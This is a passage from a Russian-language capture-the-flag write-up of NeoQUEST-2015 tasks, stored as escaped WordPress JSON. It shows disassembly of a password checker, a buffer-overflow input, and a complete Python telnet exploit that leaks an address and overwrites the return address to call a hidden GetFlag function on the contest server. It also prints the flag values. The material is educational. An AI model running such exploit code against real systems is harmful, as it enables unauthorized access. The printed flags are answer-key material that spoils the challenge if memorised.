[rbp+s2] mov     esi, 64h        ; n mov     rdi, rax        ; s call    _fgets <\/code><\/pre>\n<p>  \u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043d\u0430 \u0421:<\/p>\n<pre><code>struct info { \tchar entered_pass[16]; \tchar correct_pass[16]; }; <\/code><\/pre>\n<p>  \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u00abaaaaaaaaaaaaaaaaa\u00bb (17 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432) \u0438 1 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u0440\u0438 \u0432\u0442\u043e\u0440\u043e\u043c:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/47a\/788\/d34\/47a788d3439a4984be62354288573179.jpg\"\/><\/p>\n<p>  \u0412\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433: 3ed54ac12757f4c2b4fabd64d41de42d<\/p>\n<h6><b>\u0427\u0430\u0441\u0442\u044c \u0442\u0440\u0435\u0442\u044c\u044f<\/b><\/h6>\n<p>  \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0432\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0443 libtest.so.<br \/>  \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f GetFlag:<\/p>\n<pre><code>public GetFlag GetFlag proc near  s= byte ptr -70h stream= qword ptr -8  push    rbp mov     rbp, rsp sub     rsp, 70h lea     rsi, modes      ; &quot;r&quot; lea     rdi, filename   ; &quot;\/home\/srv\/flag3.txt&quot; call    _fopen \u2026 <\/code><\/pre>\n<p>  \u041a\u043e\u0434 \u0447\u0438\u0442\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u00ab\/home\/srv\/flag3.txt\u00bb \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d. \u041d\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0438 \u0433\u0434\u0435 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f!<br \/>  \u0418\u0437 \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c shellcode \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 GetFlag.<\/p>\n<p>  \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u043c entered_pass:<\/p>\n<pre><code>\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 <\/code><\/pre>\n<p>  \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u043c correct_pass:<\/p>\n<pre><code>\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 <\/code><\/pre>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044f GetFlag.<br \/>  \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 GetFlag, \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u044b\u0432\u043e\u0434 backtrace, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430, \u0435\u0441\u043b\u0438 \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 16 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.<\/p>\n<p>  \u0418\u0442\u0430\u043a, \u0438\u0437 backtrace \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 StartTest, \u0438 \u0443\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 GetFlag. \u0422\u0430\u043a \u043a\u0430\u043a \u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043d\u0443\u0436\u043d\u043e \u043d\u0430 \u043b\u0435\u0442\u0443 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 StartTest \u0438 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 GetFlag.<\/p>\n<p>  \u041a\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430 \u043d\u0430 Python 2.7, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:<\/p>\n<pre><code>import telnetlib import re  tn = telnetlib.Telnet('79.175.2.85', 8080)  read = tn.read_until(b&quot;password: &quot;).decode() print(read)  tn.write(b'aaaaaaaaaaaaaaaaa\\r\\n')  read = tn.read_until(b&quot;password: &quot;).decode() print(read)  p = re.compile(r'\\(StartTest\\+0xd0\\) \\[(.+?)\\]', re.MULTILINE | re.DOTALL) m = p.search(read)  addr = (hex(int(m.group(1), 16) - 208 - 271))[2:]  raddr = ''  raddr += addr[10]; raddr += addr[11]; raddr += addr[8]; raddr += addr[9]; raddr += addr[6]; raddr += addr[7]; raddr += addr[4]; raddr += addr[5]; raddr += addr[2]; raddr += addr[3]; raddr += addr[0]; raddr += addr[1];  raddr = raddr.decode('hex')  tn.write(b'\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' + raddr + '\\x00\\x00\\n')  read = tn.read_until(b&quot;password: &quot;).decode()  print(&quot;&quot;) print(read) <\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/3f5\/6fc\/5d4\/3f56fc5d49d34042a392caad630f86d5.jpg\"\/><\/p>\n<p>  \u0422\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433: 1946fcc08e026023fd53f935769c7f52<\/p>\n<h6><b>To be continued&#8230;<\/b><\/h6>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u0431\u043e\u043b\u044c\u0448\u0435! \u0412\u043f\u0435\u0440\u0435\u0434\u0438 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 NeoQUEST-2015, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u0443\u0436\u0435 \u043d\u0430\u0447\u043d\u0435\u043c \u043f\u0440\u0438\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0437\u0430\u0432\u0435\u0441\u0443 \u0442\u0430\u0439\u043d\u044b \u043d\u0430\u0434 \u0442\u0435\u043c, \u0447\u0442\u043e \u0436\u0435 \u0436\u0434\u0435\u0442 \u0433\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u0439 \u00ab\u043e\u0447\u043d\u043e\u0439 \u0441\u0442\u0430\u0432\u043a\u0435\u00bb!     \t<\/p>\n<div class=\"clear\"><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/258169\/\"> http:\/\/habrahabr.ru\/post\/258169\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>     \t<img decoding=\"async\" align=\"left\" src=\"\/\/habrastorage.org\/files\/bb3\/631\/4ec\/bb36314ecd6349568ba79df767d024bb.png\"\/> \u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u0411\u043b\u0438\u0437\u0438\u0442\u0441\u044f \u043b\u0435\u0442\u043e, \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0438\u043c \u2014 \u00ab\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u0430\u0432\u043a\u0430\u00bb NeoQUEST-2015. <a href=\"http:\/\/neoquest.ru\/timeline.php?year=2015\">\u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f <\/a>\u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0443\u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0430, \u0438 \u0432\u0445\u043e\u0434 \u2014 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0439. \u0413\u043e\u0441\u0442\u0435\u0439 \u0436\u0434\u0443\u0442 \u0434\u043e\u043a\u043b\u0430\u0434\u044b \u0438 \u043c\u0430\u0441\u0442\u0435\u0440\u043a\u043b\u0430\u0441\u0441\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u044b, \u043f\u043e\u0434\u0430\u0440\u043a\u0438 \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435! \u0412\u0441\u0435 \u044d\u0442\u043e \u2014 \u0443\u0436\u0435 \u0432 \u0438\u044e\u043b\u0435, \u0430 \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 online-\u044d\u0442\u0430\u043f\u0430 NeoQUEST-2015. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435:  <\/p>\n<ul>\n<li><b>\u00abMystic Square\u00bb<\/b> \u2014 \u00ab\u043f\u044f\u0442\u043d\u0430\u0448\u043a\u0438\u00bb \u043d\u0430 Android \u0438 \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0443 RSA<\/li>\n<li><b>\u00ab\u041c\u0430\u0441\u043e\u043d-connect\u00bb<\/b> \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0434\u0430\u043c\u043f\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 HeartBleed<\/li>\n<li><b>\u00abraSSLedovanie\u00bb<\/b> \u2014 Man-in-the-Middle \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 Android<\/li>\n<li><b>\u00ab\u0414\u0440\u0443\u0436\u0431\u0430 \u0438 \u0431\u0440\u0430\u0442\u0441\u0442\u0432\u043e\u00bb<\/b> \u2014 \u0440\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 C#<\/li>\n<\/ul>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-257484","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/257484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=257484"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/257484\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=257484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=257484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=257484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}